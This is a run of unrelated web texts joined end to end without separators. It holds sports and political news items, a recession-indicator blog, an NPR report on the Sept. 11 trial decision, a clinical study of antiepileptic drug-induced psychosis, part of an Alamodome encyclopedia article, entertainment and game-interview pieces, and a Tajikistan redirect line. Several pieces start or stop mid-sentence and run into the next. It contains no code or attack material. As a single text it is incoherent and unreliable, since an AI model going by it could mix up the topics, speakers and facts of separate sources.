Against Everton the Golden Boys worked tirelessly to disrupt their passing game while last weekend’s clash with West Bromwich Albion tested the Hornets’ ability to breakdown a stubborn defence. Something which they failed to achieve.
Southampton will offer something different. And Flores is relishing the tactical battle with Saints boss Ronald Koeman.
“We respect Southampton,” Flores said. “They have been working very hard over the past year and have improved as a team a lot.
“They do everything well. They have a good system, are well balanced and they have very good players.
“We are ready and we have prepared the team to be competitive. You never know what happens when the matches start.”
He continued: “I love creating a tactical plan. When you study the opponents you stop the video and imagine your match. You think about the things you want to create in the match.
“During the week we are giving the players information and little details. So when we get to the match they know what kind of match they will play.”Hawaii Rep. Tulsi Gabbard endorsed Bernie Sanders for president on Sunday and resigned from her post as vice chair of the Democratic National Committee.
The lawmaker, who served in Iraq as an Army National Guard major, made the announcement on NBC’s Meet the Press. “I think it’s most important for us, as we look at our choices as to who our next commander in chief will be, is to recognize the necessity to have a commander in chief who has foresight, who exercises good judgment,” Gabbard said. “As a veteran, as a soldier, I’ve seen firsthand the true cost of war,” she added.
Gabbard’s endorsement comes one day after Hillary Clinton’s decisive win against Sanders in South Carolina and before nearly a dozen states vote Tuesday.
Contact us at [email protected] Trump’s former campaign manager Corey Lewandowski predicted Wednesday that the leakers driving coverage of Donald Trump Jr.’s meeting last year with a Russian lawyer will be fired, as the White House reportedly scrambles to find the source or sources.
“Anybody, and I mean anybody who is not on the president’s agenda that works in this administration should absolutely be removed immediately,” Lewandowski told “Fox & Friends” on Wednesday morning.
“I don’t know who the leaker is but let me tell you this, if it were up to me, and somebody was speaking to the media [and leaking information detrimental to Trump], I would fire them on the spot, and Donald Trump will do the same,” he added.
Numerous accounts in the wake of the Trump Jr. revelations have described the White House as racked by internal drama and suspicion. In seeming reference to such stories, the president tweeted Wednesday morning: “Remember, when you hear the words ‘sources say’ from the Fake Media, often times those sources are made up and do not exist.”
TRUMP TWEETS DEFENSE OF JR.
But there is little question the president’s inner circle would like to get to the bottom of the leaks.
The latest – and perhaps most serious – Russia-related controversy started when The New York Times began reporting on a meeting Donald Trump Jr., then-campaign chairman Paul Manafort and Trump son-in-law Jared Kushner had last summer with a Russian lawyer who apparently offered to provide dirt on Hillary Clinton.
Trump Jr. on Tuesday ultimately published the emails he exchanged with the contact who set up the meeting -- music publicist Rob Goldstone. Those emails describe the offer of incriminating information on Clinton as part of "Russia and its government’s support for Mr. Trump."
Trump Jr. responded that, "if it’s what you say I love it …”
According to the president’s eldest son, such information was never provided. Donald Trump Jr. acknowledged in an exclusive interview with Fox News' "Hannity" Tuesday night that he "probably would have done things a little differently."
TRUMP JR.: I WOULD HAVE DONE THINGS DIFFERENTLY
"This [was] pre-Russia fever. This [was] pre-Russia mania," Trump Jr. told Fox News' Sean Hannity. "I don’t think my sirens went [off] or my antenna went up at this time because it wasn’t the issue that it’s been made out to be over the last nine months, ten months."
However, the president’s eldest son also described the meeting as "a nothing," adding, "I wouldn’t have even remembered it until you started scouring through this stuff. It was literally just a wasted 20 minutes, which was a shame."
Axios reports there’s considerable anger on the Trump team over who leaked the information to the Times in the first place.
Speculation is widespread over who may have provided the material and had a motive to do so. An earlier Times article described the sourcing as “three advisers to the White House briefed on the meeting and two others with knowledge of it.”
According to the Times, Trump Jr. posted his emails on Twitter only after being told the newspaper was about to publish their contents.
As the Kremlin also reportedly is denying reaching out to a Moscow property developer to set up the meeting in question, Lewandowski told Fox News that the session was just a “courtesy meeting.”
Further, Lewandowski – who was still campaign manager at the time – said he “knew nothing about the meeting” because it “was a nothing meeting.”
“I think what this is is a giant distraction for the mainstream media about a story about nothing, and that is prohibiting the president from getting his agenda done,” he said.
Asked about the possibility of formally returning to the president’s team, Lewandowski said he likes his outside work now but would not rule out helping the president if he wants.
While Lewandowski and other Trump allies have sought to downplay the latest controversy, the contents of the emails have fueled bipartisan concerns about Trump associates’ contacts with Russia last year. Lawmakers on both sides of the aisle have indicated they’ll want to hear testimony from Trump Jr.
Trump defended his son on Twitter Wednesday morning.
“My son Donald did a good job last night. He was open, transparent and innocent. This is the greatest Witch Hunt in political history. Sad!” he wrote.FINANCIAL ICEBERG
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US Economy : 6 Critical Indicators of Potential Recession Flashing RED
( From FRED )
Since the beginning of the financial crisis, the Federal Reserve has been obliged to inject tons of liquidity into the system. Financial assets like the SP500 had a very good performance indeed. But at some point a little bit disconnect to the real economy.
We will compare the SP500 to the 6 US Economic Indicators. And more specifically :
1) Value of US Manufacturers Unfilled Orders for Capital Goods ( Nondefense capital goods excluding aircraft ).
2) US Federal Government Current Expenditures
3) US Imports of Goods and Services
4) Value of Total Inventories for Durable Goods Industries
5) US Real Retail and Food Services Sales
6) US Manufacturing Index PMI
Let s go through each economic data showed in charts ( in a year-over-year basis in each case )
Conclusion
What it is very interesting to note, is that each time the value of the 6 indicators on a year-over-year basis decline and crossed 0%, the risk of a recession has increased tremendously
The SP500 seems to ignore that fact for now even in the past two recession, stocks were anticpating the slowdown... But not this time... Liquidity driven bull market... Correction ahead for the SP500?
So, when you begin to see one diverge from the other you have to start asking yourself whether the market is pricing in an overly optimistic outcome or if the economy has yet to catch up with what the market is seeing. Of course, in a market that is highly sensitive to the jawboning of central bankers, the conclusion might be more obvious than it appears.
New high on the SP500 recently, slowing indicators and commodities tradind down, the recipe for a Perfect Storm?
1) Value of US Manufacturers Unfilled Orders for Capital Goods ( Nondefense capital goods excluding aircraft ).
2) US Federal Government Current Expenditures
3) US Imports of Goods and Services
4) Value of Total Inventories for Durable Goods Industries
5) US Real Retail and Food Services Sales
6) US Manufacturing Index PMIAttorney General: Sept. 11 Suspects To Face NYC Trial
Enlarge this image toggle caption Alex Brandon/AP Alex Brandon/AP
Enlarge this image toggle caption AP AP
The alleged mastermind of the Sept. 11 attacks and four other men suspected of playing a role in the attacks will be brought to New York to stand trial in a civilian court, Attorney General Eric Holder said Friday.
At a news conference, Holder said he anticipates seeking the death penalty against Khalid Sheikh Mohammed and four other suspects. Five additional terrorism suspects will be tried by military commissions, he said.
Attorney General: Sept. 11 Suspects To Face NYC Trial Listen · 5:16 5:16
"After eight years of delay, those allegedly responsible for the attacks of Sept. 11 will finally face justice," Holder said. Those facing civilian trials will be brought "to a courthouse a few blocks away from the courthouse where the Twin Towers once stood," he added.
The four others are Walid bin-Atash, Ramzi Bin al-Shibh, Ali Abdul Aziz Ali and Mustafa al-Hawsawi.
The decision on how to handle these detainees comes just days before a deadline for the Justice Department to decide how it would prosecute a number of Guantanamo detainees awaiting trial. The prosecution of the alleged Sept. 11 attackers had started in a military commission at Guantanamo months ago. Then the Obama administration asked for a delay so that it could study whether to keep them in the military legal system or move them to civilian courts.
Now their trial will be conducted in a civilian court.
"This is clearly a vote of confidence in the criminal justice system to handle even the most delicate terrorism issues," said New York University law professor Sam Rascoff. "It is simultaneously a repudiation of the view that terrorists needed to be detained and tried in a parallel system that offered fewer rights and less transparency."
In his early days in office, President Obama vowed to close the Guantanamo Bay prison by January 2010. The president may not meet his own deadline. But moving high-visibility prisoners out of Cuba and to third countries or into the U.S. justice system signals that the administration is trying to make good on his promise.
Moving Prisoners To U.S. Courts
For some time now, civil liberties groups have been pushing for the Obama administration to prosecute Guantanamo detainees in the federal justice system. They maintain that prosecutions in the military-commission system ended up being something less than total justice because they see the rules governing the commission as favoring the prosecution.
The fact that the Sept. 11 suspects will end up in a New York court is not entirely surprising. The lead prosecutor for the military commissions, Capt. John Murphy, told reporters in September that four different U.S. attorneys' offices in New York, Washington and Virginia all wanted the opportunity to try the five.
Proponents of moving the suspects to U.S. courts point to the nearly 200 cases involving international terrorism that have gone through the criminal justice system here. Detractors have said that a federal court could have trouble handling classified evidence, foreign intelligence and evidence that was gathered during an armed conflict.
Former Attorney General Michael Mukasey has been an outspoken opponent of moving the trials into civilian federal courts. He has said the costs and security complications for such cases would be enormous. He said housing the alleged terrorists in the United States would threaten national security, and a public trial would compromise U.S. intelligence sources.
Why New York?
White House lawyers and a task force that has been advising President Obama and Attorney General Holder had made clear that they wanted to try the Guantanamo terrorism suspects in federal courts whenever possible. And New York's Southern District has more experience with trying sensitive terrorism cases than any other federal court in the U.S.
What's more, a grand jury in the Southern District has already indicted Mohammed for another terrorism plot. In 1996, he was implicated in a plan to explode 12 commercial jets over the Pacific Ocean. A federal grand jury in New York brought that indictment, and the Sept. 11 charges could be added to it. Prosecutors could also simply come up with a new indictment.
The Southern District of New York is already working on the case of another Guantanamo detainee. A Tanzanian named Ahmed Guilani has been charged in the 1998 East Africa embassy bombings. His trial is supposed to start next fall.
Challenges Ahead
The attorney general's decision will anger some members of Congress. Sens. Lindsey Graham, John McCain, James Webb and Joseph Lieberman had sponsored a measure that would block the Justice Department from spending any of its money on prosecuting suspects in the Sept. 11 attacks who are being held at Guantanamo. The opposition is bipartisan — Graham and McCain are Republicans, Webb is a Democrat and Lieberman is an independent.
But the Senate voted to table the measure after Defense Secretary Robert Gates and Holder wrote a letter a couple of weeks ago saying that the government needed the option of having trials by military commission or civilian courts.
Once the Justice Department announces where the suspects will be tried, they have to provide at least 45 days' notice to the states that will be involved. That could give people who are against moving the detainees here for trial some time to mobilize. Those notifications to the states haven't been made yet, so the 45-day clock hasn't started. Sources say the attorney general has talked to some of the relevant U.S. attorneys.
Even after the decision is final and Khalid Sheikh Mohammed's case is moved to the federal courts, many other serious questions will remain. How will the government show a jury classified terrorism-related evidence linked to the Sept. 11 attacks? Will the case become a referendum on harsh interrogation practices? Mohammed was waterboarded repeatedly while in custody. That will surely be one more issue to come before the court.Abstract
Antiepileptic drug treatment can induce psychosis in some patients. However, there are no agreed definitions or diagnostic criteria for antiepileptic drug-induced psychotic disorder in the classification systems of either epileptology or psychiatry. In this study we investigated the clinical spectrum of antiepileptic drug-induced psychotic disorder in patients with epilepsy. The medical records of all patients with epilepsy who were diagnosed by a neuropsychiatrist as having a psychotic disorder at the Royal Melbourne Hospital from January 1993 to June 2015 were reviewed. Data were extracted regarding epilepsy and its treatment, psychotic symptoms profile and outcome. The diagnosis of epilepsy was established in accordance to the classification system of the International League Against Epilepsy while that of psychotic disorder was made according to the Diagnostic and Statistical Manual of Mental Disorders, 5th Edition and the proposal on neuropsychiatric disorders in epilepsy. Patients with antiepileptic drug-induced psychotic disorder were compared to those with psychotic disorders unrelated to antiepileptic drugs assessed over the same period (non-antiepileptic drug induced psychotic disorder group). Univariate comparisons were performed and variables with a value of P < 0.1 were selected for the multivariate logistic regression analysis. The records of 2630 in-patients and outpatients with epilepsy were screened, from which 98 (3.7%) with psychotic disorders were identified. Among these, 14 (14.3%) were diagnosed to have antiepileptic drug-induced psychotic disorder. Excluding one patient who developed psychosis after valproate withdrawal, 76.9% in the antiepileptic drug induced psychotic disorder group were female and the percentage of temporal lobe involvement was higher in the antiepileptic drug induced psychotic disorder group (69.2% versus 38.1%, P < 0.05). Current use of levetiracetam was higher in antiepileptic drug-induced psychotic disorder group (84.6% versus 20.2%, P < 0.01) while use of carbamazepine was higher in the comparator group (15.4% versus 44.0%, P < 0.05). Multivariate logistic regression confirmed four factors associated with antiepileptic drug-induced psychotic disorder: female gender, temporal lobe involvement and use of levetiracetam, and a negative association with carbamazepine. Disorganized behaviours and thinking were more common in the antiepileptic drug-induced psychotic disorder group (100% versus 72.6% and 76.9% versus 38.1%, respectively; P < 0.05). The percentage of continuous treatment with antipsychotic drugs was lower in the antiepileptic drug-induced psychotic disorder group (15.4% versus 66.7%, P < 0.01). No patients experienced a chronic course in antiepileptic drug-induced psychotic disorder group whereas 40.5% did in non-antiepileptic drug induced psychotic disorder ( P < 0.05). Our findings indicated that one in seven patients with epilepsy who developed psychosis had antiepileptic drug-induced psychotic disorder. In these patients, female gender, temporal lobe involvement and current use of levetiracetam were significantly associated with antiepileptic drug induced psychotic disorder compared to other types of psychosis, while carbamazepine had a negative association. Disorganized behaviours and thinking were predominant in antiepileptic drug-induced psychotic disorder. Patients with antiepileptic drug-induced psychotic disorder differed from non-antiepileptic drug-induced psychotic disorders in having better outcome.
View largeDownload slide Antiepileptic drugs can induce psychosis, but there are no agreed diagnostic criteria for AED-induced psychotic disorder (AIPD). Based on the screening of medical records, Chen et al. report that one in seven patients with epilepsy who develop psychosis have AIPD. Female sex, temporal lobe involvement and current levetiracetam usage are associated with AIPD. View largeDownload slide Antiepileptic drugs can induce psychosis, but there are no agreed diagnostic criteria for AED-induced psychotic disorder (AIPD). Based on the screening of medical records, Chen et al. report that one in seven patients with epilepsy who develop psychosis have AIPD. Female sex, temporal lobe involvement and current levetiracetam usage are associated with AIPD.
Introduction
Epilepsy is one of the most common neurological disorders and ranks as the second leading neurological cause of reduced disability-adjusted life-years ( Murray et al., 2012 ). Patients with epilepsy have increased vulnerability to psychiatric co-morbidity including psychotic disorders ( Clarke et al., 2012 ; Rai et al., 2012 ), imposing additional disease burden. For instance, in a Danish population-based cohort study, the incidence of schizophrenia and schizophrenia-like psychosis in epilepsy patients was nearly 2.5 times and 3 times higher than in the general population, respectively ( Qin et al., 2005 ).
Among the various types of psychotic disorders in epilepsy, antiepileptic drug (AED)-induced psychotic disorder (AIPD) represents an iatrogenic, adverse drug reaction. Prevalence of AIPD has been reported to range from 1.0% to 8.4% in clinical trials of AEDs ( Piedad et al., 2012 ). However, detailed analysis of the clinical profile of the psychotic episodes was lacking in these studies, which tended to rely on screening questionnaires to ascertain psychiatric symptoms with few patients undergoing structured interview by psychiatrists ( Clancy et al., 2014 ). Few studies have reported long-term outcome of the psychotic episodes, as most randomized trials reported the psychiatric events within the 12–16 weeks of observation ( de la Loge et al., 2010 ).
Besides methodological limitations, advances in understanding AIDP have been further hampered by the lack of agreed diagnostic criteria in the existing classification systems ( Lin et al., 2012 ). Although substance/medication-induced psychotic disorder is defined in the Fifth Edition of Diagnostic and Statistical Manual of Mental Disorders (DSM-5), its applicability to AIPD may be questioned because the pharmacodynamic mechanisms of AEDs may be different from other substances or medications ( American Psychiatric Association, 2013 ). The International League Against Epilepsy (ILAE) has published a classification scheme for AED-induced psychiatric disorders, but it is not specific for psychosis and covers other psychiatric manifestations, such as affective disorders, that show a different clinical course ( Krishnamoorthy et al., 2007 ).
As a result of these limitations in knowledge, the management of AIPD in clinical practice is extremely challenging and not evidence-based. By definition, the definitive diagnosis of AIPD can only be made retrospectively. In theory, the most valid way to determine whether a given AED is responsible in causing a particular adverse event would be to withdraw the culprit drug and observe the remission of symptoms, followed by rechallenging with the medication and observing symptom relapse ( Edwards and Aronson, 2000 ). This approach, however, is rarely practical in the clinical epilepsy setting, particularly for psychiatric adverse effects. The diagnosis is further compounded by the predisposition towards AIPD in people with history of psychiatric illnesses ( Trimble et al., 2000 ; Weintraub et al., 2007 ). In some cases the episode of AIPD can resemble recurrence of previous primary psychotic disorder. Therefore, when a patient with epilepsy develops psychotic symptoms, it is challenging to determine at presentation whether the psychosis is AED induced or not.
Misdiagnosing AIPD as primary psychotic disorder may lead to inappropriate management, including continuation of the culprit AED and additional treatment with antipsychotic drugs. Often, the psychotic symptoms of AIPD persist in a fluctuating manner as long as the AED is continued ( Amerincan Psychiatric Association, 2013 ). The patient may endure both the adverse effects of the AED and potential exacerbation of epilepsy by antipsychotic drug therapy ( Lin et al., 2012 ). Therefore, identification of reliable factors at presentation that help to differentiate AIDP from other forms of psychosis in epilepsy is needed.
In this study we aimed to identify these factors by investigating the clinical spectrum of AIPD in patients with epilepsy who presented with psychotic symptoms, including the clinical features of the epilepsy, AED treatment, the psychotic symptoms and outcome.
Materials and methods
Patient sources
Eligible patients were identified from the Department of Neurology at the Royal Melbourne Hospital between January 1993 and June 2015. Patients were mainly identified from those admitted electively for a comprehensive epilepsy evaluation, which included prolonged (5 days or more) video EEG monitoring, clinical assessment by epileptologists, psychiatric evaluation by neuropsychiatrists, and review of neuroimaging by neuroradiologists. A minority (7.1%) of patients were identified from the epilepsy outpatient clinics. All patients had undergone formal psychiatric interview by a specialist neuropsychiatrist.
The inclusion criteria were: (i) onset of the psychotic disorders at 16 years or older; (ii) diagnosis of epilepsy; and (iii) admission to hospital or attendance at epilepsy outpatient clinic for psychotic symptoms. Patients were excluded if they had (i) psychogenic non-epileptic seizures; (ii) psychotic symptoms as part of the ictal semiology; or (iii) an organic illness with known psychiatric manifestations, e.g. Wilson’s disease.
Study procedure and diagnostic approach
The study was approved by the Clinical Research and Ethics Committee of the Royal Melbourne Hospital (HREC No: 2002.232). Information regarding individual demographic data, the clinical manifestations of epilepsy and psychosis, prior psychiatric history, AED usage, and outcomes of epilepsy and psychosis was retrieved from the medical records using a standardized case report form. The data were reviewed by an epileptologist (Z.C.) and a neuropsychiatry fellow (A.L.) who jointly confirmed the diagnosis of epilepsy and psychotic disorder.
Figure 1 illustrates the diagnostic scheme for the various types of psychotic disorders in relation to epilepsy in the patients. First, the diagnosis of psychotic disorders was established. As per the ILAE proposal ( Krishnamoorthy et al., 2007 ), psychotic disorders specific to epilepsy were then classified as psychosis of epilepsy, including interictal psychosis of epilepsy, postictal psychosis, and AIPD. Psychotic disorders unrelated to the underlying epilepsy were classified as comorbid schizophrenia/schizophreniform disorder. As AIPD was not specifically defined in the ILAE proposal, its definition was adopted from the criteria for substance/medication-induced psychotic disorders in DSM-5, such that if the offending drug was an AED, the episode was classified as AIPD. Otherwise it was classified as other substance/medication-induced psychotic disorder.
Clinical assessments and definitions
According to the classification system of the ILAE, seizures were classified as generalized or focal. Focal seizures were further classified depending on whether there was impairment of consciousness or evolution to bilateral convulsion ( Berg et al., 2010 ). Epilepsy syndromes were broadly classified as genetic, structural/metabolic, and epilepsy of unknown cause. Specific structural abnormalities of interest were hippocampal sclerosis, brain tumour and malformations of cortical development. Temporal lobe involvement was defined as the epileptogenic lesion locating in temporal lobe with or without the involvement of other lobes. Drug resistance was defined as the failure of two appropriately chosen and tolerated AED schedules to maintain seizure freedom ( Kwan et al., 2010 ).
According to the classification system DSM-5, the diagnosis of psychotic disorders requires the presence of delusions or hallucinations, plus possible disorganized thinking and grossly disorganized or abnormal motor behaviour. Either delusions or hallucinations must be present and the duration of the psychotic episode must last at least 1 day. Delusions may be persecutory, referential, somatic, religious, or grandiose delusions. The characteristics of hallucinations, such as auditory, visual or tactile hallucinations were recorded in the medical notes. Disorganized thinking was characterized by derailment or loose associations, tangentiality, incoherence or ‘word salad’. Grossly disorganized behaviours reported in our cohort consisted of aggressive behaviour and unusual social behaviours, such as socially or sexually inappropriate behaviours, e.g. talking to oneself in public, obscene language, or exposing oneself to others.
The relationship of the psychotic disorder to the patient’s underlying epilepsy were established in accordance with the proposal by ILAE ( Krishnamoorthy et al., 2007 ). Interictal psychosis of epilepsy was defined as psychotic episodes in accordance with the criteria of psychosis in DSM-5 and independent from seizures ( Table 1 ). Post-ictal psychosis was defined as psychotic episodes after a lucid interval (up to 48 h) following a cluster of seizures. Comorbid schizophrenia/schizophreniform disorder was diagnosed under DSM-5. In substance/medication-induced psychotic disorder, either delusions or hallucinations must be present and the psychotic symptoms develop during or soon after the exposure to a substance or medication or the withdrawal of that substance. |
attendance (this was one of the last hockey games to take place before the 1994–95 NHL lockout). The following year Dallas claimed a 4-2 victory over the Kings in front of 8,122 hockey fans on September 26, 1995. Hockey Hall of Fame forward Wayne Gretzky participated in both preseason matchups.
In college football, Notre Dame has played two Shamrock Series (home-away-from-home) games here against Washington State in 2009 and Army in 2016.[44]
Music [ edit ]
After the opening ceremonies, the first major event held at the facility was Paul McCartney's The New World Tour concert, which took place on May 29, 1993.[45]
The Alamodome has played host to music festivals, including Ozzfest.[46] It has also hosted concerts to artists such as Britney Spears, *NSYNC, Backstreet Boys, and many more.
Every summer, Drum Corps International hosts its DCI San Antonio – Southwestern Championships at the Alamodome.
The Alamodome also hosts the Bands of America Super-Regional Championships every year in November, as well as the University Interscholastic League State Marching Band Contest.
Other events [ edit ]
Gregory Nava chose the Alamodome as a stand-in for the Astrodome for his 1997 biopic-film Selena.
From July 5 to July 16, 2006, the Alamodome hosted the ELCA Youth Gathering. Approximately 40,000 youth and adult leaders attended the event, between the two weeks it was spread.
The 1993 world boxing championship fight between WBC Welterweight champion Pernell Whitaker and challenger Julio César Chávez Sr. was held at the Alamodome. Also, the 2013 bout between Canelo Alvarez and Austin Trout was held at the Alamodome.
The Alamodome hosted the 2015 General Conference Session of Seventh-day Adventists.
The Alamodome hosted WWE's Royal Rumble pay-per-view event on January 29, 2017, a week after the start of the Monster Jam FS1 Championship Series East.
Renovations [ edit ]
On April 15, 2005, the San Antonio City Council voted to spend close to $6.5 million to renovate the Alamodome in an effort to lure a Major League Soccer franchise to the city. After the election of Phil Hardberger as the new mayor, those efforts were abandoned, though the approved renovations to the facility will continue as planned. The city administration and local business leaders have re-focused their efforts to bringing an NFL franchise to San Antonio.
On April 19, 2007, the San Antonio City Council unanimously approved an additional $8.3 million to fund renovations and enhancements to the facility.
In the summer of 2008 the audio system was upgraded.
In 2009 new LED video panels were added to the 5th level.
Although when the Alamodome was built it was an ideal state-of-the-art NFL stadium,[citation needed] by today's standards the facility would have to undergo renovations and add a considerable number of luxury suites in order to make it a profitable venue for an NFL team. Preliminary estimates put the cost of improvements at $100–150 million.
In September 2010, the Alamodome inaugurated a new seating configuration branded as the Illusions Theater, which takes up the north half of the stadium. This setup uses curtains lit by LED fixtures to create a smaller feeling space for concerts, comedy acts, and other smaller acts. Floor seating can be configured to hold up to 1,000 seats with the plaza, club, and upper deck seating levels added as needed to give up to 15,000 seats.
In 2016, the San Antonio City Council approved $50 million worth of upgrades to modernize the facilities to keep it competitive for NCAA events. The improvements include a new media center, upgrades to the locker rooms, expanded concourses and added concessions, 4 new video screens and ribbon boards wrapping the 5th level, a new sound system, and other technology upgrades, and upgraded lighting.[47]
Record crowds [ edit ]
Top 10 all-time Alamodome sports crowds (as of April 2, 2018):[15][18]
Other notable attendance marks include:
See also [ edit ]
References [ edit ]"I just for some reason skipped the original 'Star Wars'."
Oh, Tom Holland. If you were anyone else, those would be fightin' words.
It was with some reluctant bravery the new Spider-Man star admitted in a recent interview with Yahoo! Movies he has never seen The Empire Strikes Back.
This is pretty egregious, but it is also wonderfully ironic since some of Spider-Man's best lines in Capitan America: Civil War are when his character is explaining how taking out a Giant-Man will be like taking out an AT-AT on Hoth in "that really old movie."
"I'm not a huge Star Wars fan," Holland told Yahoo! Movies. "I am a fan of the new ones. I thought Rogue One and Force Awakens were dope... I just for some reason skipped the original Star Wars."
Holland has seen the prequels, he admitted.
“And I’m even more embarrassed to say that I loved those movies when I was a kid," said Holland. "Everyone’s like, ‘What? You liked those movies?!‘ But I thought they were great.”
Holland returns as the web slinger in the highly anticipated Spider-Man Homecoming, due out July 7.Recently iGR has been deeply involved in Kickstarter and some of the amazing projects being crowd funded. City State Entertainment co-founder Mark Jacobs (co-founder Mythic Entertainment) is pulling closer to making his studios freshmen project come to fruition. When I say “freshmen” I mean the newly minted studios’ first project. Mark Jacobs and cohort Andrew Meggs (co-founder City State Entertainment) have been around the block a few times. Jacobs, in particular, is a 30 year veteran of the gaming industry. His efforts have made him one of the more accomplished figures in gaming. Both Jacobs and Meggs have the experience necessary to guide CSE to crafting a truly unique RvR MMORPG: Camelot Unchained (working title). Recently Mark was nice enough to clear some time in his busy schedule (of raising over $1,400,000 dollars) to have a chat with us.
Our interview begun with a couple questions for Mark himself. He has a wealth of knowledge and experience of the gaming industry. I just couldn’t help but pick his brain before talking about Camelot Unchained.
1. You’ve been a staple in the games industry since the early 80’s. After a lifetime of accomplishments starting with A.U.S.I., then to Mythic, and now with City State Entertainment – What is it that keeps you inspired and excited moving forward in the games industry?
I just love making games, it’s as simple as that. It’s even better when I’m surrounded by a young and talented team again, and back as an independent game developer.
2. Your portfolio is insanely impressive (sorry if I’m stuttering). What’s the single most rewarding game you’ve ever developed?
Dark Age of Camelot, hands down. When we went into development of that game, every single publisher we spoke to rejected our pitch, concept, etc. Even when we went looking for distributors, every one of them, except for the fine folks at Vivendi Universal Games, also turned us down. Frankly, even players on the forums said we had no chance to succeed. How could a small company (13 at the start) with limited funding ($2.5M) compete with games from EA, Sony and Microsoft. Well, we did, and quite well.
Editors Note: Coincidentally the funding CSE is aiming to reach for Camelot Unchained ($2 million) is very near the budget that was needed to create Dark Age of Camelot.
Now, I know you don’t want to steal the thunder from the rest of the team, and I respect that fact. The rest of my questions will focus on the team at CSE and the Kickstarter-campaign for CU.
3. The MMORPG genre entails an enormous amount of data collection, infrastructure, and insane amounts of character customization. What’s the biggest challenge in developing on such a massive scale?
Well, Andrew, Mike and I have done this all before over the course of many games and two MMORPGs, so this isn’t new to us. Our biggest challenge will involve staying focused on the core design, not going off on any “science fair” projects during development, and preventing feature creep.
4. When creating the RvR component of CU you chose to include three distinct factions. Specifically, what was the motivation behind having not two, but three warring factions? Does it introduce more dynamics like possible alliances between realms?
A long time ago, in an office far, far away the wonderful guys at Kesmai Corp., in this case, co-founder John Taylor, explained the reason why his company’s seminal game, Air Warrior, choose to have three countries instead of two. The reasons are as you mentioned, but also so that the third realm could play a spoiler or simply take advantage of the battle between the others and the resulting chaos. I never forgot what he said to me, and that’s why Dark Age of Camelot and Camelot Unchained used three realms, not two.
5. Many MMO’s are moving away from the subscription model due to changes in the genre. What about CU will keep players coming back for more over an extended period of time.
Unlike theme-park games that require a massive amount of PvE (player versus environment) content at launch and then more and more to keep players happy, we can focus on the things that affect the RvR. This content doesn’t have the overhead, time and cost involved like creating PvE quests that players can run through in hours, let alone days. Thus, a small team can keep turning out new races, new classes and new challenges at a fraction of the cost of trying to create the same amount of PvE content.
6. One of the features we love about CU contends with traditional MMO and even RPG philosophy. The NPC’s won’t be dropping items upon death, instead there will be a true “crafter class” that will produce in game items like weapons, armor, etc. What lead the team to break away from convention in respect to the in game economy?
Well, I believe that if you want to have a truly player-driven economy, the players need to be and/or work with crafters to get items. Our crafters know that they won’t have to worry about loot drops, token drops or other things supplanting their gear as the best in the game. It’s interesting to note that when we first announced this class and concept for a player-driven economy, I got a lot of mail from people saying that we would never get enough crafters and this would fail. In the last two weeks, the argument has now shifted away from that to e-mails saying everyone will play a crafter and there won’t be enough RvR players. Priceless.
5. In what ways will CU break the conventional “grind” many players experience with MMORPG’s? Besides the aforementioned player driven economy?
How? In almost every way imaginable. Leveling will be slower but more horizontally-based (more abilities, smaller difference between levels of skill) to take players’ minds off the “Only XXXX XP to go!” stuff that IMO, makes games feel more “grindy” even though the vast majority of MMORPGs have quicker leveling progression than ever. Players won’t be grinding for loot drops in some raid, but rather, fighting the enemy realms to protect their land, etc. Our crafters won’t be grinding either; they won’t be required to make 10,000 arrows to level up their skills. Building most items will take time and effort, but they will be rewarded for those efforts with unique items that will be sought by the RvR players as well as the realm. While the final details aren’t set yet, we expect that the crafting aspect of the game will be accomplished through the use of fun mini-games and some “helper” NPCs as well.
6. From your Kickstarter information we know CSE plans to create the MMO engine for CU in house. What aspects of Andrew’s work on Skyrim and other open worlds parlay into CU?
I think it is safe to say that Andrew’s skill and knowledge level as a programmer have increased with each stop in his career. He learned a lot while he was at Mythic, but he is also incredibly proud of his efforts at Bethesda, both what he learned from the programming team and from guys like Todd Howard, for whom he has a ton of respect both professionally and personally.
We want to thank Mark for an amazing and truly insightful interview. It was an honor to visit his round table, and bend the knee. It’s always fantastic to tap into the wealth of knowledge a 30 year career provides. If you haven’t yet checked out City State Entertainment’s Kickstarter-campaign for Camelot Unchained, we implore you to do so. Camelot Unchained is a fitting title for the newly founded studios efforts. CSE aims to “unchain” the RvR MMORPG from the ties that bind it with fresh features, stunning art direction, and the talent to pull it off in spades. The studio has a little over a quarter of the way to go with six days remaining. Camelot Unchained is one of the highest grossing Kickstarter-campaigns on record, and it’s easy to see why.
Don’t forget to check out the rest of our Kickstarter Spotlight articles! We have a few other very interesting interviews with successful Kickstarter funded projects.Must Watch: Awesome Animated Short 'Batman vs The Terminator'
"You picking this up, John?" Dang, this is cool. There's an animated short making its way around online (tip via Wired) titled simply Batman versus The Terminator. Enough said. That title alone should be more than needed to make you want to watch this, whatever it is. Well, it's a 5-minute long animated short film from a New Zealand-based filmmaker named Mitchell Hammond that does indeed pit the legendary Bruce Wayne, aka Batman, against The Terminator, aka Skynet, among other things. Set in the year 2029, three decades after Skynet's nuclear blasts, Wayne emerges with a vehicle called "The Stinger" to head out to find John Connor. I love the visual style of this, it's an incredibly well made short, great work. Enjoy below.
Watch Hammond's full short Batman versus The Terminator on YouTube, thanks to Wired for the tip.
Synopsis: 30 years have passed since Bruce Wayne survived Skynet's nuclear blasts in August of '97. Iron demons now roam the planet, and without the requirement to defend the innocent against crime and injustice, Wayne has seeked refuge in the bomb shelter that saved his life; the Batcave. Having scavenged the wasteland for resources, he discovers the radio of a dead soldier. There is static over a frequency. Flesh and blood is rising up to the west. With The Stinger; a riot control vehicular unit built before the apocalypse along with a refitted bomb blast vest, Batman makes his way across what remains of the United States to join forces with the man determined to neutralize the electronic menace - John Conner. Original Concept by Tony Guerrero, Original Music by Noir Deco, with Animation/Sound Editing/Writing/Directing by New Zealand filmmaker Mitchell Hammond. For more info visit his blog here. Thoughts?
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Sorry, no commenting is allowed at this time.The Yankees have avoided arbitration with outfielder Brett Gardner, reaching a one-year deal worth $2.8 million. This is Gardner’s first year with arbitration eligibility.
Gardner led the Yankees with a.383 on-base percentage in 2010. He regressed a bit in 2011, with his OBP falling to.345, but remained a threat on the base paths. He tied for the American League lead with 49 stolen bases.
The team has already avoided arbitration with a trio of pitchers: Joba Chamberlain, Phil Hughes and David Robertson. They still must reach deals with catcher Russell Martin and reliever Boone Logan.
Andy McCullough: [email protected]; twitter.com/McCulloughSL
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• Yankees avoid arbitration, reach deals with relievers Joba Chamberlain, David Robertson
• Bradley: Jesus Montero's departure from Yankees organization perhaps hinted last spring"Tadzhikistan" redirects here. For the Soviet republic, see Tajik Soviet Socialist Republic
